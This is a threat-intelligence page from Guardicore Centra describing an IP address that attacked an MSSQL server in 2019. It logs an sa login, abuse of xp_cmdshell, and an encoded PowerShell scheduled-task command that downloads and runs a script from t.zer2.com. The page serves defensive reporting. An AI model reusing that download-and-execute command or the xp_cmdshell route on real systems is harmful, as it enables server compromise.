IP Address: 36.34.158.27Malicious

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IP Address:
36.34.158.27​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

MSSQL

Tags

DNS Query CMD PowerShell Access Suspicious Domain Scheduled Task Creation Listening MSSQL Successful MSSQL Login IDS - Attempted User Privilege Gain Execute MsSql Shell Command

Connect Back Servers

t.zer2.com

Basic Information

IP Address

36.34.158.27

Domain

-

ISP

-

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-10-23

Last seen in Guardicore Centra

2019-10-23

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Process netsvcs Service Group started listening on ports: 65529

Listening

The command line powershell -nop -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAG0AcwBvAC4AagBzAHAAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.zer2.com

DNS Query Access Suspicious Domain

Connection was closed due to user inactivity

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IP Address: 36.34.158.27​Malicious